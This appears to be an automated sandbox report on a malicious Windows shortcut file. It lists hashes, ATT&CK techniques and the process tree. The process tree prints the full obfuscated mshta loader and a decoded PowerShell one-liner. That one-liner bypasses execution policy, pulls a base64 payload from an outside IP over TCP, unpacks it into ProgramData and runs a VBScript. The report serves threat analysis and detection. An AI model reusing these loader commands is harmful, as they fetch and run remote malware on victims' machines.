41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17/09/2024, 01:10

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General

Target

41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229.lnk
Size

2KB
MD5

37fb639a295daa760c739bc21c553406
SHA1

50e4d8a112e4aad2c984d22f83c80c8723f232da
SHA256

41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229
SHA512

28d67d4d788f301590164f28d38dd2aa73e4669eb6886e7536bec47aea08f2c27c3a507ac1636d907735f644d5e67184f420fd1e556629e10b83c8d338ef159a

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 588 wrote to memory of 2988	588	cmd.exe	31
PID 588 wrote to memory of 2988	588	cmd.exe	31
PID 588 wrote to memory of 2988	588	cmd.exe	31
PID 2988 wrote to memory of 2764	2988	mshta.exe	32
PID 2988 wrote to memory of 2764	2988	mshta.exe	32
PID 2988 wrote to memory of 2764	2988	mshta.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:588
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" javascript:p="se64String($z);$";s="Stream";w="a=new Act"+"iveXObject('WScr"+"ipt.Shell');a.Run(c,0,0);close();";a="System.IO."+s;t=" -Path $t -";n="New-Object System.";d="c:\\programdata";c="power"+"shell -ep bypass -c $r='64.49.14.181';$p='8014';$r="+n+"IO."+s+"Reader(("+n+"Net.Sockets.TcpClient($r, $p)).Get"+s+"());$z=$r.ReadLine();$b=[Con"+"vert]::FromBa"+p+"t='"+d+"\\t.zip';Set-Content"+t+"V $b -Encoding Byte;Expand-Archive"+t+"D "+d+";del $t;$v='"+d+"\\s.vbs';&$v;sc "+d+"\\nt91610 81";eval(w);
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $r='64.49.14.181';$p='8014';$r=New-Object System.IO.StreamReader((New-Object System.Net.Sockets.TcpClient($r, $p)).GetStream());$z=$r.ReadLine();$b=[Convert]::FromBase64String($z);$t='c:\programdata\t.zip';Set-Content -Path $t -V $b -Encoding Byte;Expand-Archive -Path $t -D c:\programdata;del $t;$v='c:\programdata\s.vbs';&$v;sc c:\programdata\nt91610 81
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2764-41-0x0000000002480000-0x0000000002488000-memory.dmp

Filesize
32KB

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memory/2764-40-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

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